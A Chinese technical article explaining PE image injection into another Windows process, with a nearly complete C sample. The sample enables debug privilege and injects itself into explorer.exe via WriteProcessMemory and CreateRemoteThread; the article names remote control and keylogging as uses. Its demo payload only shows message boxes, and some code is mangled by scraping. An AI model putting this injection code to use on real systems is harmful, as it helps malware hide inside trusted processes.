知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

高级内存代码注入技术

发布时间:2014-07-15 11:50:28作者:知识屋

1、概述
 
1.1 PE注入
 
我们知道进程注入的方法分类主要有以下几种:
 
DLL注入 利用注册表注入 利用Windows Hooks注入 利用远程线程注入 利用特洛伊DLL注入 不带DLL的注入 直接将代码写入目标进程,并启动远程线程
本文中的技术不同于以往的DLL注入和shellcode注入。通过此方法可将一个进程的完整镜像完全注入到另外一个进程的内存空间中,从而在一个进程空间中包含了两套不同的代码。与DLL注入相比,PE注入的主要优势是不需要很多文件,只需要MAIN.EXE注入到其他进程并唤起自身代码即可。
 
 
 
1.2 影响
 
利用该方法可以达到一下多个效果:
 
创建Socket及网络访问 访问文件 创建线程 访问系统库 访问普通运行时库 远控 键盘记录
 
 
2、技术原理
 
2.1 进程代码注入
 
将代码写入进程的方法较简单,Windows提供了进程内存读取和写入的系统API。首先需要获取某个进程的PID号,然后打开该进程,可以利用Kernel32链接库中的OpenProcess函数实现。
 
注:远程打开进程是受限的,从Vista起,就存在了类似UAC之类的防护措施。其中主要的进程内存保护机制是Mandatory Integrity Control(MIC)。MIC是基于“完整性级别”的对象访问控制保护方法。完整性级别包括如下四个级别:
 
低级别:被限制访问大部分系统资源(如IE); 中级别:开启UAC时非特权用户和管理员组用户启动的进程; 高级别:以管理员权限启动的进程 系统级别:SYSTEM用户启动的进程,如系统服务。
根据以上完整性级别要求,我们的进程注入将只允许注入低级别或同等级别的进程。
 
本文将利用explorer.exe来举例,远程打开进程后利用VirtualAllocEx函数申请一段可保存本进程镜像的内存段,为了计算需要的内存大小我们可以通过读取PE头信息来获取。
 
/*获取进程模块镜像*/

module = GetModuleHandle(NULL);

/*获取PE头信息*/

PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module +((PIMAGE_DOS_HEADER)module)->e_lfanew);

/*获取代码长度*/

DWORD moduleSize = headers->OptionalHeader.SizeOfImage;

 

 
2.2 获取二进制地址
 
代码注入中遇到的一个常见问题是模块的基地址会不断变化的问题。通常情况下,当进程启动时,MAIN函数的基地址是0X00400000。当我们将代码注入到其他进程中时,新的基地址将产生在虚拟地址中不可预测的位置。
 
 
 
在一个EXE文件中,编译和链接后,所有的代码和数据地址都是固定的,并建立在虚拟内存基址。对于PE注入,需要使用完整地址指针来修改数据的基地址,并且使用进程的重定位节。
 
当系统正常加载一个文件时,如果其基地址不可用,系统将为其重新设置一个基地址,同时系统加载器会修改代码中的重定位节。于是,在该PE注入过程中,我们可以模仿系统的加载方式,我们定义变量delta来计算新地址,于是可以访问到代码中的完整地址甚至修改它们。
 
/*在目标进程中新申请内存的偏移*/

delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace – headers->OptionalHeader.ImageBase);

/* 当前进程的镜像偏移量 */

olddelta = (DWORD_PTR)((LPBYTE)module – headers->OptionalHeader.ImageBase);

 

 
下一步,理解重定位数据是如何组织的非常重要。重定位数据被保存在数据目录中,该目录可通过函数IMAGE_DERECTORY_ENTRY_BASERELOC来访问。重定位数据目录是一个类似于IMAGE_BASE_RELOCATION数据结构的数据。以下是该数据结构的定义:
 
typedef struct _IMAGE_BASE_RELOCATION {

ULONG  VirtualAddress;

ULONG  SizeOfBlock;

} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;

 

 
 
 
2.3 执行代码
 
代码被注入后,可以尝试执行其中的函数。首先需要解决的是要计算函数在远程进程中的的地址。
 
LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule +

(DWORD_PTR)((LPBYTE)callRoutine – (LPBYTE)module));

thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);

 

 
 
 
执行自身函数有很多种方法。如下是一些可行的方法:
 
CreateRemoteThread NtCreateThreadEx 挂起、注入、恢复
 
 
例子代码
 
#include <stdafx.h>

#include <.h>

#include <tlhelp32.h>

#include <process.h>

#include <stdio.h>



#pragma comment (lib, “winmm.lib”)


#pragma comment (lib, “kernel32.lib”)

/*获取进程ID号*/

DWORD GetProcessIdByName(LPWSTR name)

{

PROCESSENTRY32 pe32;

HANDLE snapshot = NULL;

DWORD pid = 0;



snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (snapshot != INVALID_HANDLE_VALUE)

{

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(snapshot, &pe32))

{

do

{

if (!lstrcmp(pe32.szExeFile, name))

{

pid = pe32.th32ProcessID;

break;

}

} while (Process32Next(snapshot, &pe32));

}

CloseHandle(snapshot);

}

return pid;

}

DWORD  main();

extern “C” void mainCRTStartup();

/**

* 远程进程内存中注入PE

*/

HMODULE injectModule(HANDLE proc, LPVOID module)



{


DWORD i = 0;

DWORD_PTR delta = NULL;

DWORD_PTR olddelta = NULL;

/* 获取模块PE头 */

PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);

PIMAGE_DATA_DIRECTORY datadir;



/* 计算注入代码长度 */

DWORD moduleSize = headers->OptionalHeader.SizeOfImage;

LPVOID distantModuleMemorySpace = NULL;

LPBYTE tmpBuffer = NULL;

BOOL ok = FALSE;

if (headers->Signature != IMAGE_NT_SIGNATURE)

return NULL;

if (IsBadReadPtr(module, moduleSize))

return NULL;

distantModuleMemorySpace = VirtualAllocEx(proc, NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (distantModuleMemorySpace != NULL)

{

tmpBuffer = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (tmpBuffer != NULL)

{

RtlCopyMemory(tmpBuffer, module, moduleSize);

datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

if (datadir->Size > 0 && datadir->VirtualAddress > 0)

{

delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace – headers->OptionalHeader.ImageBase);



olddelta = (DWORD_PTR)((LPBYTE)module – headers->OptionalHeader.ImageBase);





PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->VirtualAddress);



while (reloc->VirtualAddress != 0)

{

if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))

{

DWORD relocDescNb = (reloc->SizeOfBlock – sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);



LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));



for (i = 0; i < relocDescNb; i++)

{

if (relocDescList[i] > 0)

{

DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (relocDescList[i]))));



*p -= olddelta;

*p += delta;

}

}

}

reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);

}



tmpBuffer[(DWORD)main - (DWORD)module] = 0×55;



ok = WriteProcessMemory(proc, distantModuleMemorySpace, tmpBuffer, moduleSize, NULL);

}

VirtualFree(tmpBuffer, 0, MEM_RELEASE);

}



if (!ok)



{


VirtualFreeEx(proc, distantModuleMemorySpace, 0, MEM_RELEASE);

distantModuleMemorySpace = NULL;

}

}

return (HMODULE)distantModuleMemorySpace;

}

/**

* 获取DEBUG权限

*/

BOOL EnableDebugPrivileges(void)

{

HANDLE token;

TOKEN_PRIVILEGES priv;

BOOL ret = FALSE;



if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))

{

priv.PrivilegeCount = 1;

priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;



if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALSE &&

AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE)

{

ret = TRUE;

}

CloseHandle(token);

}

return ret;

}

BOOL peInjection(DWORD pid, LPTHREAD_START_ROUTINE callRoutine)

{

HANDLE proc, thread;

HMODULE module, injectedModule;



BOOL result = FALSE;




proc = OpenProcess(PROCESS_CREATE_THREAD |

PROCESS_QUERY_INFORMATION |

PROCESS_VM_OPERATION |

PROCESS_VM_WRITE |

PROCESS_VM_READ,

FALSE,

pid);



if (proc != NULL)

{

module = GetModuleHandle(NULL);

injectedModule = (HMODULE)injectModule(proc, module);

if (injectedModule != NULL)

{

LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule + (DWORD_PTR)((LPBYTE)callRoutine – (LPBYTE)module));

thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL);

if (thread != NULL)

{

CloseHandle(thread);

result = TRUE;

}

else

{

VirtualFreeEx(proc, module, 0, MEM_RELEASE);

}

}

CloseHandle(proc);

}

return result;

}

DWORD WINAPI entryThread(LPVOID param)

{



DWORD newModuleD = (DWORD)param;


MessageBox(NULL, L”Injection success. Now initializing runtime library.”, NULL, 0);

mainCRTStartup();

MessageBox(NULL, L”This will never be called.”, NULL, 0);

return 0;

}

DWORD  main()

{

MessageBox(NULL, L”In Main “, NULL, 0);

printf(“This printf can work because runtime library is now initialized.n”);





MessageBox(NULL, L”In main end”, NULL, 0);

ExitThread(0);

return 0;

}

void entryPoint()

{

MessageBox(NULL, L”entryPoint”, NULL, 0);

EnableDebugPrivileges();



peInjection(GetProcessIdByName(L”explorer.exe”), entryThread);

}

 

 
 
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜